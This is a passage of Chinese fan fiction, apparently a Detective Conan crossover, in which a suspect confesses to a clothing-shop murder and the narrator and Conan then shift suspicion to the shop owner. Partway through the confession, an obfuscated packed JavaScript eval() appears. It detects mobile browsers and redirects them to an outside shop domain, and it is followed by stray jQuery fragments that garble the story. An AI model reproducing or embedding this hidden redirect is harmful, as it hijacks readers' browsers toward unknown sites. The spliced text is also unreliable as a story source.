“门框上的痕迹,和这根线的粗细吻合。”鉴识人员接过鱼线比对了一下,低声向目暮警部报告,“线头有新断口,应该是刚从门框上抽下来的。刚刚小朋友从垃圾桶旁捡到的那截线头,和这根是同一根线。”

    目暮警部看着藤本优一郎,沉声道:“藤本先生,你用鱼线穿过门缝,套住门锁旋钮,从外面把门锁上,然后抽走鱼线,企图伪装成密室。对吗?”

    “行了,是我。”沉默了好一阵的藤本优一郎出声道。

    他低着头,看着自己被高木紧紧攥住的右手,嘴角扯了扯,露出一个自嘲的笑。

    “是我干的,人是我杀的。”

    空气骤然安静。

    “那是叔叔是怎么做的呢?”柯南打破平静开口道。

    他语气天真,但眼镜片后的目光锐利得不像个孩子,“藤本叔叔,你到底是怎么把门锁上的呢?”

    “不是说了吗?”毛利小五郎一把将手按在柯南脑袋上揉,“是用鱼线啊!”

    “人家想知道具体细节啦!”柯南捂着脑袋捏着嗓子大喊道。

    我总觉得他的声音有些娇揉做作,现在的孩子说话都这么黏糊了吗?

    “藤本叔叔,能否具体说一说呢?”柯南一边梳理自己被弄乱地头发,一边不死心地问道。

    藤本优一郎许是觉得自己已经承认了,也懒得挣扎,直接全盘托出道:“那种球形锁,从里面拧一下就能锁上的。我把线系在门锁的旋钮上,线绕过旋钮,从门缝底下穿出去,线头留在外面,然后从外面一拉——”

    他做了个拧转的手势,“旋钮就跟着转了。门就从里面锁上了。”

    “那鱼线呢?”柯南追问道。

    “直接抽出来,”藤本优一郎的声音很平,像在说一件跟自己毫无联的事一样,“门锁上之后,线还套在旋钮上。我只要从外面一抽,线就从门缝里滑出来了。门也能被锁得严严实实。”

    他说到这里,忽然顿住了。

    “但你最终没能把线抽出来。”柯南说道。

    藤本优一郎嘴角抽了一下,像是想到了什么不痛快的事,点了点头,“对。”

    “因为你回来的时候,发现大姐姐就站在收银台前面,是吗?”柯南道。

    藤本优一郎的表情扭曲了一下,可以看出他至今为止想起来都有些愤愤不平。

    “是!因为这个女人站在那,正好站在收银台前。她站在那,我根本没办法绕过她,去靠近那个房门。”他怫然道。

    我眨了眨眼,没想到还有这种内情。

    藤本优一郎进门时,右手时不时地放在口袋里。

    ——是因为那团鱼线就在口袋里。

    他心虚又看重,所以才会时不时地将右手放口袋,确认鱼线的存在。

    而藤本优一郎的计划,需要走到收银台后,蹲在房门口,才能完成他最后一步——拉线锁门,回收线头。

    但我一直站着收银台前没动。

    他只能装作不耐烦,大喊大叫,指望我被他那副油腻样子吓跑。

    结果还没赶走我,石崎介人就冲了进来。

    因此,他企图伪造出是设计好的密室、嫁祸给店长石崎介人的计划全部失败了。

    藤本优一郎忿忿不平。

    他偏了偏头,目光穿过收银台,落在那个紧闭的房门上。

    随后,他扭过头,目光定在我身上,咬牙切齿道:“我本来可以做得天衣无缝的。是这个女人。她一直站在收银台前面,一直站着。”

    “我从暗门出来,绕到店外,本来想从正门进来假装找明日香,顺便回收外面的线。结果发现她站在那里,我只能先进来把她赶走。谁知道,和她说几句话的功夫,石崎居然回来了。”

    他盯着我,眼神里有一层说不清的怨气。

    可以看出,我确实打乱了他绞尽脑汁想出来的计划。以至于气急败坏的他失败后,都懒得将设计机关的物件给丢了。

    因为当时的他丢与不丢意义也不大了。

    他计划失败的同时,也被我和石崎介人目击他在那个时间点出现在服装店内。

    无论他怎么样做,都撇不开嫌疑了。

    何况以他的视角来看,那根未抽走的鱼线还在门上。

    但他如果是预谋杀人的话,未免也太敷衍了。

    没看出他有万全的打算。

    反而,像是走一步看一步。

    是激情杀人吗?

    我忍不住思考,现在这个时代作案手法倒是精细了不少,但犯人的心理素质却不过关了。

    不过,侦探这个职业倒是一直都有。

    我静静地看着柯南。

    记得库洛里多还在世时,我曾亲眼见过福尔摩斯、波罗、马普尔小姐等侦探。

    那个时代的大英,案件多侦探也多,堪称侦探就业的黄金时代。

    ——而我这个「推」牌也因此诞生。

    一想到库洛里多客串了几回侦探,用我这个「推」牌推理找出真相的事,我不禁嘴角微动。

    那段日子,真怀念啊!

    “藤本先生,你是早就有计划要杀害木村明日香小姐吗?”目暮警部冷声道。

    藤本优一郎深吸一口气,似乎是认了自己倒霉了,“其实我本来没想杀她。”

    他低下头,声音闷闷的,“至少一开始没想。”

    我收回飘远的思绪,看着藤本优一郎。

    原来如此。

    本来就是激情杀人的他,好不容易想了一个“完美无缺”的办法。

    可盘算好的事一乱,他心里一下没了着落,慌不择路,直接破罐子破摔了。

    “都怪木村明日香那个女人,贪得无厌!”藤本优一郎舔了舔嘴唇,“我认识她的时候,她就在这家店里当售货员。石崎是她男友。为了她,石崎把他爷爷传下来的西餐厅都变成服装店了。”

    “说起来,石崎对她也真是深情!可是......”

    他看向石崎介人,“你想必还不知道吧!你们两人还没分手的时候,她就已经和我在一起了。”

    石崎介人脸色灰白,一言不发。

    见石崎介人不回应,他觉得有些无趣,哼了一声。

    正当高木警官准备逮捕他时,柯南又问道:“那叔叔是怎么知道这里有其他通道的存在?是那位叫明日香的姐姐告诉的吗?”

    藤本优一郎似乎没想到柯南这么纠缠,他扯了扯嘴角,“明日香经常在上班的时候,从房间暗门出来和我私会。那个暗门直通后巷,而后巷那边有个小酒馆,我一般就在那里等她。”

    “明日香说这个暗门通道是之前西餐厅的。石崎将西餐厅改服装店的时候也没封死。

    她还拿这个来跟我炫耀,说石崎那个傻子连自家的店都守不住,被她哄得一愣一愣的。

    可惜哄到最后,石崎这傻子就是咬死不卖店。气得她分了手,但那女人还是不死心,留在店里当什么售货员。还哄骗我说,她一定逼石崎卖店,到时她欠我的钱就能一次性还了。”

    藤本优一郎用左手捏了捏鼻梁,“我今天下午来,本来是要钱。她欠我一大笔,我想着能要回来多少是多少。结果,那个女人根本没有还钱的意思。”

    他突然看向我说道:“喂!你也被耍了。那个女人还是一样的恶劣。她就是想让你站在那等着。然后,自己好从暗门溜出去偷懒。”

    我并不意外。

    石崎介人和藤本优一郎在服装店拉扯争执的时候,我就已经反应过来,自己似乎被人耍了。

    但我还是想心怀侥幸试一试。

    毕竟,等了那么长时间。

    “你在后巷截住了她。”我开口将话题又引回案件经过上。

    藤本微微一怔,点了点头,“是!

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971984|214681||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我在后面的小巷截住她,问她要钱。她不给。她说钱都花完了,还说——”

    他停顿了一下,眼角抽了抽,“她说我要是再逼她,就把我和她的事告诉石崎。告诉石崎,店快保不住了,是因为我和她里应外合。她说石崎那个窝囊废知道了,肯定会发疯,到时候别说钱了,店都没了。”

    藤本优一郎舔了舔嘴唇,“其实这威胁对我也算不了什么,可这女人还说要将我的一些事,给捅出去。我当时脑子一热,就——”

    他抬起左手,用手指捏住自己的喉咙,比了个收紧的动作。

    “不对吧!明日香小姐不是被捅死的吗?”毛利小五郎质疑道。

    藤本优一郎抿了抿唇,声音沉了点,“我当时不知道她没死。我以为我......”

    他顿了一下,“当时,后巷没人,我以为我把她掐死了。所以,我把她从暗门拖回房间放在地上。

    我想着,到时石崎肯定是第一个发现尸体的人,他有动机,有作案时间。只要我走的时候没人看见,这事就落在他头上。”

    他像是在回忆那个场面,“为了做足戏,免得出什么意外找上我。

    我就从她随身带的包里翻出一根钓鱼线,是她平时用来缝衣服的,细得很,但很结实。

    正打算做个机关,谁曾想她又醒了过来,我慌乱之下,就......就看到了茶几上的水果刀。”

    接下来的事,就不必说了。

    “既然藤本先生已经认罪......”目暮警部正打算让高木警官给藤本戴上手铐。

    “等等,那张卡片上写了什么?”我问道。

    所有人一怔。

    “什么卡片?”毛利小五郎问道。

    我没搭理他,“那张藤本先生给石崎先生的卡片写了什么,能否告知一下?”

    “写了......”藤本优一郎正打算回答,但他发现我没看他,而是看着石崎介人。

    他蹙眉,不爽道:“喂......”

    石崎介人呼吸一滞。

    显然不明白为什么这事又绕到他头上了,而我紧盯着他看。

    他和我对视。

    “石崎先生,藤本先生给你的卡片写了什么?”我重复了一遍。

    石崎介人闭了闭眼,声音嘶哑,像从很深的地方挤出来一样,“上面写着‘店的事再拖一拖,我有办法’。是明日香的笔迹。”

    “是吗?那想必石崎先生很伤心很愤怒吧?”我平静地问道。

    “怎么可能不伤心、不愤怒呢?”石崎黯然,“这就是对我的背叛。”

    “哦?那为什么,你明明已经很气愤,可拿着卡片的手,却纹丝不动呢?一般人难道不是应该气得发抖吗?”

    石崎介人一僵,似乎没想到我会观察得这么细致。

    “石崎叔叔是不是一早就知道明日香姐姐的事?”柯南接话道。

    “其实我一直都知道明日香的打算,只是我太爱她了。虽然她庸俗市侩,但我一直深爱她,一直相信她是和我站在一边的。”石崎介人沉重地说道。

    随后,他自嘲一笑,“可我拼命想保住这家店,她却在背后......”

    他没能说下去。

    “石崎先生,虽然很冒昧,但你最近是不是读莎士比亚的书读了很多。”我说道。

    “你这是什么意思?”他错愕道。

    “就算是演,也过于夸张,显得有些假得离谱了。”我接着道。

    “呃......”目暮警部等人有些诧异。

    “春日小姐,你这话会不会太过了......”

    高木警官话还没说完,柯南就仰起脸,“说起来,藤本先生的机关没能将鱼线抽出来完成,那就说明门没锁。”

    他直勾勾地看向石崎介人,“所以,为什么身为第一目击者的石崎先生,你要说门锁了呢?”